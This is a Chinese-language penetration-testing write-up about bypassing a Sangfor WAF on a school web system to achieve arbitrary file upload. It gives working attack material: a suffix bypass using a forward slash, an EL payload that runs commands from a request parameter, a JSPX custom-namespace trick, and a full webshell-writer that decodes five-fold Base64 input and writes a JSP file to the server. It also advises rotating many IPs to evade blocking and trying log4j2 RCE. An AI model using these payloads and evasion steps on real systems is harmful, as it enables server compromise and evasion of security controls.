记一次绕过waf的任意文件上传
字数 1379 2025-08-27 12:33:23
绕过WAF的任意文件上传技术分析
前言
本文记录了一次针对学校系统的渗透测试过程,重点分析了如何绕过深信服WAF实现任意文件上传。整个过程涉及多种绕过技术,包括后缀名绕过、JSPX命名空间绕过、网站路径获取以及多层编码写入shell等技术。
0x01 获取网站接口
- 目标系统是一个内嵌企业微信的HTML套皮应用
- 使用Burp Suite抓包获取上传接口和cookie
- 发现上传点有以下特点:
- 文件名强制命名为"code+学号"
- 后缀为最后一次点号出现之后的字母
0x02 后缀名绕过技术
-
常规限制:
- 代码本身不限制后缀名
- WAF拦截jsp、jspx等常见后缀
-
绕过方法:
- 尝试jspp、jspxx等变体后缀(部分绕过)
- 测试发现Windows特性绕过:
- 常规手法(如末尾加点号、::$DATA)无效
- 正斜杠(/)可以成功绕过(关键点)
0x03 内容绕过技术
-
常规JSP标记检测:
- 所有常见JSP标记都被WAF拦截
-
两种绕过方案:
方案一:JSP EL表达式绕过
- 使用
${}标记 - 示例payload:
${Runtime.getRuntime().exec(request.getParameter("x"))} - 但深信服WAF过滤了这种表达式,需要变形绕过
方案二:JSPX命名空间绕过(最终采用方案)
- 使用自定义命名空间替换jsp关键字
- 将
<jsp:scriptlet>替换为<自定义字符:scriptlet> - 示例代码:
<hi xmlns:hi="http://java.sun.com/JSP/Page"> <hi:scriptlet> out.println(30*30); </hi:scriptlet> </hi>
- 使用
0x04 获取网站路径
-
Tomcat路径特性:
- 不能使用相对路径
- Tomcat默认以Tomcat/bin作为根目录
-
获取路径方法:
// 获取当前根目录 String path = System.getProperty("user.dir"); out.println(path); // 获取web项目目录 String path = application.getRealPath("test.jsp"); out.println(path);- 最终确定写入路径:
D:/tomcat8/webapps/declare/static/upload/test.jsp
- 最终确定写入路径:
0x05 编码或加密绕过WAF写入shell
-
多层编码绕过:
- 使用五层Base64编码绕过WAF检测
- 两层Base64仍被检测到
-
完整payload:
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("写入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>
- 替代方案建议:
- 使用RSA、AES等加密算法可能更有效
- 五层Base64编码虽然有效但较为笨重
0x06 总结与经验
-
WAF绕过关键点:
- 正斜杠(/)后缀名绕过
- JSPX命名空间自定义绕过
- 多层编码(五层Base64)内容绕过
-
渗透测试经验:
- 深信服WAF检测严格,会直接封禁IP
- 本次测试消耗约30个IP进行fuzz
- 发现的其他漏洞(如thinkphp5.0.23 RCE、泛微8.0前台SQL注入)因WAF限制未深入测试
-
后续建议:
- 可尝试利用发现的log4j2和jackson依赖进行RCE
- 对于严格WAF,建议准备更多IP资源进行测试
- 考虑使用更高级的加密算法而非多层Base64编码
附录:技术要点速查表
| 技术点 | 方法 | 备注 |
|---|---|---|
| 后缀名绕过 | 使用正斜杠(/) | Windows特性 |
| JSP标记绕过 | 自定义命名空间 | 替换jsp关键字 |
| 路径获取 | System.getProperty()/application.getRealPath() | Tomcat特有 |
| 内容绕过 | 五层Base64编码 | 两层仍被检测 |
| WAF特性 | 直接封IP | 需准备多个IP |